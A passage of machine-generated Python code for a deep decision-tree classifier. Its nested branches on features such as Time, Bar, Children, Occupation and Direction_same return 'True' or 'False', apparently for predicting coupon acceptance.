obj[1]<=3: return 'True' elif obj[1]>3: # {"feature": "Children", "instances": 2, "metric_value": 0.5, "depth": 11} if obj[5]<=0: # {"feature": "Bar", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[8]<=3.0: # {"feature": "Restaurant20to50", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[10]<=2.0: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[11]>0: # {"feature": "Time", "instances": 3, "metric_value": 0.3333, "depth": 10} if obj[1]>0: # {"feature": "Children", "instances": 2, "metric_value": 0.5, "depth": 11} if obj[5]<=0: # {"feature": "Bar", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[8]<=3.0: # {"feature": "Restaurant20to50", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[10]<=2.0: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[1]<=0: return 'False' else: return 'False' else: return 'False' else: return 'True' elif obj[6]>0: # {"feature": "Occupation", "instances": 119, "metric_value": 0.3986, "depth": 8} if obj[7]<=13: # {"feature": "Time", "instances": 112, "metric_value": 0.3981, "depth": 9} if obj[1]<=2: # {"feature": "Restaurant20to50", "instances": 76, "metric_value": 0.3388, "depth": 10} if obj[10]>0.0: # {"feature": "Direction_same", "instances": 69, "metric_value": 0.3186, "depth": 11} if obj[11]<=0: # {"feature": "Bar", "instances": 36, "metric_value": 0.3577, "depth": 12} if obj[8]<=1.0: # {"feature": "Children", "instances": 26, "metric_value": 0.4253, "depth": 13} if obj[5]>0: return 'True' elif obj[5]<=0: return 'True' else: return 'True' elif obj[8]>1.0: # {"feature": "Children", "instances": 10, "metric_value": 0.1667, "depth": 13} if obj[5]<=0: return 'True' elif obj[5]>0: return 'True' else: return 'True' else: return 'True' elif obj[11]>0: # {"feature": "Bar", "instances": 33, "metric_value": 0.2414, "depth": 12} if obj[8]<=2.0: # {"feature": "Children", "instances": 31, "metric_value": 0.2193, "depth": 13} if obj[5]<=0: return 'True' elif obj[5]>0: return 'True' else: return 'True' elif obj[8]>2.0: # {"feature": "Children", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[5]<=0: return 'False' else: return 'False' else: return 'False' else: return 'True' elif obj[10]<=0.0: # {"feature": "Children", "instances": 7, "metric_value": 0.4857, "depth": 11} if obj[5]>0: # {"feature": "Bar", "instances": 5, "metric_value": 0.48, "depth": 12} if obj[8]<=0.0: # {"feature": "Direction_same", "instances": 5, "metric_value": 0.48, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' elif obj[5]<=0: # {"feature": "Bar", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[8]<=0.0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[1]>2: # {"feature": "Bar", "instances": 36, "metric_value": 0.4214, "depth": 10} if obj[8]<=1.0: # {"feature": "Children", "instances": 25, "metric_value": 0.384, "depth": 11} if obj[5]>0: # {"feature": "Restaurant20to50", "instances": 15, "metric_value": 0.28, "depth": 12} if obj[10]<=1.0: # {"feature": "Direction_same", "instances": 10, "metric_value": 0.4, "depth": 13} if obj[11]<=0: return 'True' elif obj[11]>0: return 'True' else: return 'True' elif obj[10]>1.0: return 'True' else: return 'True' elif obj[5]<=0: # {"feature": "Restaurant20to50", "instances": 10, "metric_value": 0.4444, "depth": 12} if obj[10]>0.0: # {"feature": "Direction_same", "instances": 9, "metric_value": 0.4815, "depth": 13} if obj[11]<=0: return 'True' elif obj[11]>0: return 'True' else: return 'True' elif obj[10]<=0.0: return 'True' else: return 'True' else: return 'True' elif obj[8]>1.0: # {"feature": "Direction_same", "instances": 11, "metric_value": 0.4182, "depth": 11} if obj[11]<=0: # {"feature": "Children", "instances": 6, "metric_value": 0.5, "depth": 12} if obj[5]<=0: # {"feature": "Restaurant20to50", "instances": 4, "metric_value": 0.5, "depth": 13} if obj[10]<=2.0: return 'False' else: return 'False' elif obj[5]>0: # {"feature": "Restaurant20to50", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[10]<=2.0: return 'True' else: return 'True' else: return 'True' elif obj[11]>0: # {"feature": "Children", "instances": 5, "metric_value": 0.2667, "depth": 12} if obj[5]<=0: # {"feature": "Restaurant20to50", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[10]<=2.0: return 'False' else: return 'False' elif obj[5]>0: return 'False' else: return 'False' else: return 'False' else: return 'False' else: return 'True' elif obj[7]>13: # {"feature": "Time", "instances": 7, "metric_value": 0.1429, "depth": 9} if obj[1]<=2: return 'False' elif obj[1]>2: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.0, "depth": 10} if obj[11]>0: return 'True' elif obj[11]<=0: return 'False' else: return 'False' else: return 'True' else: return 'False' else: return 'True' else: return 'True' else: return 'True' elif obj[0]>2: # {"feature": "Bar", "instances": 1390, "metric_value": 0.3797, "depth": 5} if obj[8]<=3.0: # {"feature": "Age", "instances": 1328, "metric_value": 0.3739, "depth": 6} if obj[4]<=4: # {"feature": "Occupation", "instances": 1062, "metric_value": 0.3836, "depth": 7} if obj[7]>1: # {"feature": "Education", "instances": 904, "metric_value": 0.3983, "depth": 8} if obj[6]<=3: # {"feature": "Time", "instances": 845, "metric_value": 0.4078, "depth": 9} if obj[1]<=2: # {"feature": "Restaurant20to50", "instances": 521, "metric_value": 0.3854, "depth": 10} if obj[10]<=1.0: # {"feature": "Children", "instances": 349, "metric_value": 0.4083, "depth": 11} if obj[5]<=0: # {"feature": "Gender", "instances": 212, "metric_value": 0.3971, "depth": 12} if obj[3]<=0: # {"feature": "Direction_same", "instances": 115, "metric_value": 0.3856, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[3]>0: # {"feature": "Direction_same", "instances": 97, "metric_value": 0.4107, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[5]>0: # {"feature": "Gender", "instances": 137, "metric_value": 0.4238, "depth": 12} if obj[3]>0: # {"feature": "Direction_same", "instances": 84, "metric_value": 0.4082, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[3]<=0: # {"feature": "Direction_same", "instances": 53, "metric_value": 0.4486, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[10]>1.0: # {"feature": "Children", "instances": 172, "metric_value": 0.3367, "depth": 11} if obj[5]<=0: # {"feature": "Gender", "instances": 122, "metric_value": 0.3536, "depth": 12} if obj[3]>0: # {"feature": "Direction_same", "instances": 67, "metric_value": 0.3475, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[3]<=0: # {"feature": "Direction_same", "instances": 55, "metric_value": 0.361, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[5]>0: # {"feature": "Gender", "instances": 50, "metric_value": 0.294, "depth": 12} if obj[3]>0: # {"feature": "Direction_same", "instances": 30, "metric_value": 0.32, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[3]<=0: # {"feature": "Direction_same", "instances": 20, "metric_value": 0.255, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[1]>2: # {"feature": "Restaurant20to50", "instances": 324, "metric_value": 0.4372, "depth": 10} if obj[10]<=1.0: # {"feature": "Children", "instances": 211, "metric_value": 0.4177, "depth": 11} if obj[5]<=0: # {"feature": "Gender", "instances": 119, "metric_value": 0.3993, "depth": 12} if obj[3]<=0: # {"feature": "Direction_same", "instances": 60, "metric_value": 0.375, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[3]>0: # {"feature": "Direction_same", "instances": 59, "metric_value": 0.424, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[5]>0: # {"feature": "Gender", "instances": 92, "metric_value": 0.4395, "depth": 12} if obj[3]>0: # {"feature": "Direction_same", "instances": 58, "metric_value": 0.4405, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[3]<=0: # {"feature": "Direction_same", "instances": 34, "metric_value": 0.4377, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[10]>1.0: # {"feature": "Children", "instances": 113, "metric_value": 0.4686, "depth": 11} if obj[5]<=0: # {"feature": "Gender", "instances": 66, "metric_value": 0.4537, "depth": 12} if obj[3]>0: # {"feature": "Direction_same", "instances": 36, "metric_value": 0.4614, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[3]<=0: # {"feature": "Direction_same", "instances": 30, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[5]>0: # {"feature": "Gender", "instances": 47, "metric_value": 0.4876, "depth": 12} if obj[3]>0: # {"feature": "Direction_same", "instances": 34, "metric_value": 0.4931, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[3]<=0: # {"feature": "Direction_same", "instances": 13, "metric_value": 0.4734, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[6]>3: # {"feature": "Restaurant20to50", "instances": 59, "metric_value": 0.2207, "depth": 9} if obj[10]>0.0: # {"feature": "Gender", "instances": 43, "metric_value": 0.2925, "depth": 10} if obj[3]>0: # {"feature": "Time", "instances": 30, "metric_value": 0.3492, "depth": 11} if obj[1]>0: # {"feature": "Children", "instances": 22, "metric_value": 0.3916, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 13, "metric_value": 0.355, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[5]>0: # {"feature": "Direction_same", "instances": 9, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[1]<=0: # {"feature": "Children", "instances": 8, "metric_value": 0.1875, "depth": 12} if obj[5]<=0: return 'True' elif obj[5]>0: # {"feature": "Direction_same", "instances": 4, "metric_value": 0.375, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[3]<=0: # {"feature": "Children", "instances": 13, "metric_value": 0.1282, "depth": 11} if obj[5]>0: return 'True' elif obj[5]<=0: # {"feature": "Time", "instances": 6, "metric_value": 0.2667, "depth": 12} if obj[1]>0: # {"feature": "Direction_same", "instances": 5, "metric_value": 0.32, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[1]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[10]<=0.0: return 'True' else: return 'True' else: return 'True' elif obj[7]<=1: # {"feature": "Education", "instances": 158, "metric_value": 0.2746, "depth": 8} if obj[6]<=4: # {"feature": "Restaurant20to50", "instances": 157, "metric_value": 0.2667, "depth": 9} if obj[10]<=1.0: # {"feature": "Gender", "instances": 116, "metric_value": 0.3243, "depth": 10} if obj[3]>0: # {"feature": "Time", "instances": 65, "metric_value": 0.3663, "depth": 11} if obj[1]<=3: # {"feature": "Children", "instances": 47, "metric_value": 0.4001, "depth": 12} if obj[5]>0: # {"feature": "Direction_same", "instances": 32, "metric_value": 0.4043, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[5]<=0: # {"feature": "Direction_same", "instances": 15, "metric_value": 0.3911, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[1]>3: # {"feature": "Children", "instances": 18, "metric_value": 0.2771, "depth": 12} if obj[5]>0: # {"feature": "Direction_same", "instances": 11, "metric_value": 0.2975, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[5]<=0: # {"feature": "Direction_same", "instances": 7, "metric_value": 0.2449, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[3]<=0: # {"feature": "Time", "instances": 51, "metric_value": 0.2598, "depth": 11} if obj[1]<=2: # {"feature": "Children", "instances": 27, "metric_value": 0.1966, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 26, "metric_value": 0.2041, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[5]>0: return 'True' else: return 'True' elif obj[1]>2: # {"feature": "Children", "instances": 24, "metric_value": 0.3299, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 24, "metric_value": 0.3299, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[10]>1.0: # {"feature": "Children", "instances": 41, "metric_value": 0.0906, "depth": 10} if obj[5]<=0: # {"feature": "Time", "instances": 28, "metric_value": 0.1293, "depth": 11} if obj[1]<=3: # {"feature": "Gender", "instances": 21, "metric_value": 0.0905, "depth": 12} if obj[3]>0: # {"feature": "Direction_same", "instances": 20, "metric_value": 0.095, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[3]<=0: return 'True' else: return 'True' elif obj[1]>3: # {"feature": "Gender", "instances": 7, "metric_value": 0.2449, "depth": 12} if obj[3]<=1: # {"feature": "Direction_same", "instances": 7, "metric_value": 0.2449, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[5]>0: return 'True' else: return 'True' else: return 'True' elif obj[6]>4: return 'False' else: return 'False' else: return 'True' elif obj[4]>4: # {"feature": "Education", "instances": 266, "metric_value": 0.3186, "depth": 7} if obj[6]<=1: # {"feature": "Occupation", "instances": 136, "metric_value": 0.2522, "depth": 8} if obj[7]>5: # {"feature": "Restaurant20to50", "instances": 103, "metric_value": 0.1977, "depth": 9} if obj[10]<=2.0: # {"feature": "Time", "instances": 98, "metric_value": 0.1819, "depth": 10} if obj[1]>0: # {"feature": "Children", "instances": 78, "metric_value": 0.203, "depth": 11} if obj[5]<=0: # {"feature": "Gender", "instances": 59, "metric_value": 0.1806, "depth": 12} if obj[3]<=0: # {"feature": "Direction_same", "instances": 47, "metric_value": 0.1557, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[3]>0: # {"feature": "Direction_same", "instances": 12, "metric_value": 0.2778, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[5]>0: # {"feature": "Gender", "instances": 19, "metric_value": 0.2481, "depth": 12} if obj[3]<=0: # {"feature": "Direction_same", "instances": 14, "metric_value": 0.3367, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[3]>0: return 'True' else: return 'True' else: return 'True' elif obj[1]<=0: # {"feature": "Gender", "instances": 20, "metric_value": 0.0933, "depth": 11} if obj[3]<=0: # {"feature": "Children", "instances": 15, "metric_value": 0.1212, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 11, "metric_value": 0.1653, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[5]>0: return 'True' else: return 'True' elif obj[3]>0: return 'True' else: return 'True' else: return 'True' elif obj[10]>2.0: # {"feature": "Gender", "instances": 5, "metric_value": 0.2667, "depth": 10} if obj[3]<=0: # {"feature": "Time", "instances": 3, "metric_value": 0.3333, "depth": 11} if obj[1]<=2: # {"feature": "Children", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[1]>2: return 'False' else: return 'False' elif obj[3]>0: return 'True' else: return 'True' else: return 'True' elif obj[7]<=5: # {"feature": "Gender", "instances": 33, "metric_value": 0.3409, "depth": 9} if obj[3]>0: # {"feature": "Children", "instances": 24, "metric_value": 0.4125, "depth": 10} if obj[5]>0: # {"feature": "Time", "instances": 20, "metric_value": 0.375, "depth": 11} if obj[1]<=2: # {"feature": "Restaurant20to50", "instances": 16, "metric_value": 0.4375, "depth": 12} if obj[10]>1.0: # {"feature": "Direction_same", "instances": 8, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' elif obj[10]<=1.0: # {"feature": "Direction_same", "instances": 8, "metric_value": 0.375, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[1]>2: return 'True' else: return 'True' elif obj[5]<=0: # {"feature": "Time", "instances": 4, "metric_value": 0.3333, "depth": 11} if obj[1]>0: # {"feature": "Restaurant20to50", "instances": 3, "metric_value": 0.4444, "depth": 12} if obj[10]<=1.0: # {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' elif obj[1]<=0: return 'False' else: return 'False' else: return 'False' elif obj[3]<=0: return 'True' else: return 'True' else: return 'True' elif obj[6]>1: # {"feature": "Time", "instances": 130, "metric_value": 0.373, "depth": 8} if obj[1]<=2: # {"feature": "Occupation", "instances": 73, "metric_value": 0.3936, "depth": 9} if obj[7]<=19: # {"feature": "Restaurant20to50", "instances": 71, "metric_value": 0.3941, "depth": 10} if obj[10]>0.0: # {"feature": "Children", "instances": 57, "metric_value": 0.3703, "depth": 11} if obj[5]>0: # {"feature": "Gender", "instances": 34, "metric_value": 0.3446, "depth": 12} if obj[3]>0: # {"feature": "Direction_same", "instances": 24, "metric_value": 0.4132, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[3]<=0: # {"feature": "Direction_same", "instances": 10, "metric_value": 0.18, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[5]<=0: # {"feature": "Gender", "instances": 23, "metric_value": 0.3568, "depth": 12} if obj[3]<=0: # {"feature": "Direction_same", "instances": 14, "metric_value": 0.4592, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[3]>0: # {"feature": "Direction_same", "instances": 9, "metric_value": 0.1975, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[10]<=0.0: # {"feature": "Gender", "instances": 14, "metric_value": 0.449, "depth": 11} if obj[3]>0: # {"feature": "Children", "instances": 7, "metric_value": 0.3429, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 5, "metric_value": 0.48, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[5]>0: return 'True' else: return 'True' elif obj[3]<=0: # {"feature": "Children", "instances": 7, "metric_value": 0.4762, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 4, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' elif obj[5]>0: # {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' else: return 'False' else: return 'True' elif obj[7]>19: return 'False' else: return 'False' elif obj[1]>2: # {"feature": "Occupation", "instances": 57, "metric_value": 0.3011, "depth": 9} if obj[7]<=12: # {"feature": "Restaurant20to50", "instances": 50, "metric_value": 0.3398, "depth": 10} if obj[10]>0.0: # {"feature": "Children", "instances": 42, "metric_value": 0.3558, "depth": 11} if obj[5]<=0: # {"feature": "Gender", "instances": 22, "metric_value": 0.2938, "depth": 12} if obj[3]<=0: # {"feature": "Direction_same", "instances": 14, "metric_value": 0.3367, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[3]>0: # {"feature": "Direction_same", "instances": 8, "metric_value": 0.2188, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[5]>0: # {"feature": "Gender", "instances": 20, "metric_value": 0.4182, "depth": 12} if obj[3]<=0: # {"feature": "Direction_same", "instances": 11, "metric_value": 0.3967, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[3]>0: # {"feature": "Direction_same", "instances": 9, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[10]<=0.0: # {"feature": "Gender", "instances": 8, "metric_value": 0.1667, "depth": 11} if obj[3]>0: return 'True' elif obj[3]<=0: # {"feature": "Children", "instances": 3, "metric_value": 0.3333, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' elif obj[5]>0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[7]>12: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[8]>3.0: # {"feature": "Occupation", "instances": 62, "metric_value": 0.437, "depth": 6} if obj[7]<=12: # {"feature": "Age", "instances": 47, "metric_value": 0.3928, "depth": 7} if obj[4]>0: # {"feature": "Gender", "instances": 39, "metric_value": 0.4538, "depth": 8} if obj[3]<=0: # {"feature": "Time", "instances": 21, "metric_value": 0.4636, "depth": 9} if obj[1]>0: # {"feature": "Education", "instances": 17, "metric_value": 0.4843, "depth": 10} if obj[6]>2: # {"feature": "Children", "instances": 12, "metric_value": 0.4861, "depth": 11} if obj[5]<=0: # {"feature": "Restaurant20to50", "instances": 12, "metric_value": 0.4861, "depth": 12} if obj[10]<=4.0: # {"feature": "Direction_same", "instances": 12, "metric_value": 0.4861, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[6]<=2: # {"feature": "Children", "instances": 5, "metric_value": 0.48, "depth": 11} if obj[5]<=0: # {"feature": "Restaurant20to50", "instances": 5, "metric_value": 0.48, "depth": 12} if obj[10]<=1.0: # {"feature": "Direction_same", "instances": 5, "metric_value": 0.48, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[1]<=0: # {"feature": "Education", "instances": 4, "metric_value": 0.3333, "depth": 10} if obj[6]>2: # {"feature": "Children", "instances": 3, "metric_value": 0.4444, "depth": 11} if obj[5]<=0: # {"feature": "Restaurant20to50", "instances": 3, "metric_value": 0.4444, "depth": 12} if obj[10]<=4.0: # {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[6]<=2: return 'False' else: return 'False' else: return 'False' elif obj[3]>0: # {"feature": "Education", "instances": 18, "metric_value": 0.3951, "depth": 9} if obj[6]<=0: # {"feature": "Time", "instances": 9, "metric_value": 0.3016, "depth": 10} if obj[1]>0: # {"feature": "Restaurant20to50", "instances": 7, "metric_value": 0.2286, "depth": 11} if obj[10]>0.0: # {"feature": "Children", "instances": 5, "metric_value": 0.32, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 5, "metric_value": 0.32, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[10]<=0.0: return 'True' else: return 'True' elif obj[1]<=0: # {"feature": "Restaurant20to50", "instances": 2, "metric_value": 0.0, "depth": 11} if obj[10]<=0.0: return 'False' elif obj[10]>0.0: return 'True' else: return 'True' else: return 'False' elif obj[6]>0: # {"feature": "Restaurant20to50", "instances": 9, "metric_value": 0.381, "depth": 10} if obj[10]>0.0: # {"feature": "Time", "instances": 7, "metric_value": 0.4762, "depth": 11} if obj[1]>0: # {"feature": "Children", "instances": 4, "metric_value": 0.5, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 4, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[1]<=0: # {"feature": "Children", "instances": 3, "metric_value": 0.4444, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[10]<=0.0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[4]<=0: return 'True' else: return 'True' elif obj[7]>12: # {"feature": "Time", "instances": 15, "metric_value": 0.3333, "depth": 7} if obj[1]>0: # {"feature": "Gender", "instances": 10, "metric_value": 0.4444, "depth": 8} if obj[3]<=0: # {"feature": "Age", "instances": 9, "metric_value": 0.4889, "depth": 9} if obj[4]<=1: # {"feature": "Children", "instances": 5, "metric_value": 0.48, "depth": 10} if obj[5]<=0: # {"feature": "Education", "instances": 5, "metric_value": 0.48, "depth": 11} if obj[6]<=0: # {"feature": "Restaurant20to50", "instances": 5, "metric_value": 0.48, "depth": 12} if obj[10]<=4.0: # {"feature": "Direction_same", "instances": 5, "metric_value": 0.48, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[4]>1: # {"feature": "Children", "instances": 4, "metric_value": 0.5, "depth": 10} if obj[5]<=0: # {"feature": "Education", "instances": 4, "metric_value": 0.5, "depth": 11} if obj[6]<=0: # {"feature": "Restaurant20to50", "instances": 4, "metric_value": 0.5, "depth": 12} if obj[10]<=1.0: # {"feature": "Direction_same", "instances": 4, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[3]>0: return 'False' else: return 'False' elif obj[1]<=0: return 'False' else: return 'False' else: return 'False' else: return 'True' else: return 'True' elif obj[12]>2: # {"feature": "Passanger", "instances": 435, "metric_value": 0.485, "depth": 4} if obj[0]>0: # {"feature": "Education", "instances": 419, "metric_value": 0.484, "depth": 5} if obj[6]>0: # {"feature": "Age", "instances": 281, "metric_value": 0.4651, "depth": 6} if obj[4]<=4: # {"feature": "Time", "instances": 243, "metric_value": 0.477, "depth": 7} if obj[1]>0: # {"feature": "Restaurant20to50", "instances": 211, "metric_value": 0.4925, "depth": 8} if obj[10]<=2.0: # {"feature": "Bar", "instances": 189, "metric_value": 0.4944, "depth": 9} if obj[8]>-1.0: # {"feature": "Occupation", "instances": 187, "metric_value": 0.4977, "depth": 10} if obj[7]>1: # {"feature": "Children", "instances": 145, "metric_value": 0.4994, "depth": 11} if obj[5]<=0: # {"feature": "Gender", "instances": 87, "metric_value": 0.4994, "depth": 12} if obj[3]<=0: # {"feature": "Direction_same", "instances": 50, "metric_value": 0.4992, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[3]>0: # {"feature": "Direction_same", "instances": 37, "metric_value": 0.4996, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[5]>0: # {"feature": "Gender", "instances": 58, "metric_value": 0.4986, "depth": 12} if obj[3]>0: # {"feature": "Direction_same", "instances": 34, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' elif obj[3]<=0: # {"feature": "Direction_same", "instances": 24, "metric_value": 0.4965, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[7]<=1: # {"feature": "Children", "instances": 42, "metric_value": 0.4694, "depth": 11} if obj[5]<=0: # {"feature": "Gender", "instances": 28, "metric_value": 0.4579, "depth": 12} if obj[3]>0: # {"feature": "Direction_same", "instances": 15, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' elif obj[3]<=0: # {"feature": "Direction_same", "instances": 13, "metric_value": 0.4734, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' elif obj[5]>0: # {"feature": "Gender", "instances": 14, "metric_value": 0.4615, "depth": 12} if obj[3]>0: # {"feature": "Direction_same", "instances": 13, "metric_value": 0.497, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[3]<=0: return 'True' else: return 'True' else: return 'True' else: return 'False' elif obj[8]<=-1.0: return 'False' else: return 'False' elif obj[10]>2.0: # {"feature": "Children", "instances": 22, "metric_value": 0.3545, "depth": 9} if obj[5]<=0: # {"feature": "Bar", "instances": 12, "metric_value": 0.3714, "depth": 10} if obj[8]<=2.0: # {"feature": "Occupation", "instances": 7, "metric_value": 0.2857, "depth": 11} if obj[7]>6: # {"feature": "Gender", "instances": 4, "metric_value": 0.5, "depth": 12} if obj[3]<=0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' elif obj[3]>0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' elif obj[7]<=6: return 'True' else: return 'True' elif obj[8]>2.0: # {"feature": "Occupation", "instances": 5, "metric_value": 0.3, "depth": 11} if obj[7]<=1: # {"feature": "Gender", "instances": 4, "metric_value": 0.375, "depth": 12} if obj[3]<=0: # {"feature": "Direction_same", "instances": 4, "metric_value": 0.375, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' elif obj[7]>1: return 'False' else: return 'False' else: return 'False' elif obj[5]>0: # {"feature": "Bar", "instances": 10, "metric_value": 0.0, "depth": 10} if obj[8]<=3.0: return 'False' elif obj[8]>3.0: return 'True' else: return 'True' else: return 'False' else: return 'False' elif obj[1]<=0: # {"feature": "Occupation", "instances": 32, "metric_value": 0.2983, "depth": 8} if obj[7]<=9: # {"feature": "Bar", "instances": 22, "metric_value": 0.3545, "depth": 9} if obj[8]<=1.0: # {"feature": "Children", "instances": 12, "metric_value": 0.3714, "depth": 10} if obj[5]<=0: # {"feature": "Restaurant20to50", "instances": 7, "metric_value": 0.3429, "depth": 11} if obj[10]<=1.0: # {"feature": "Gender", "instances": 5, "metric_value": 0.4667, "depth": 12} if obj[3]>0: # {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[3]<=0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' elif obj[10]>1.0: return 'True' else: return 'True' elif obj[5]>0: # {"feature": "Gender", "instances": 5, "metric_value": 0.2, "depth": 11} if obj[3]<=0: return 'False' elif obj[3]>0: # {"feature": "Restaurant20to50", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[10]<=2.0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[8]>1.0: # {"feature": "Gender", "instances": 10, "metric_value": 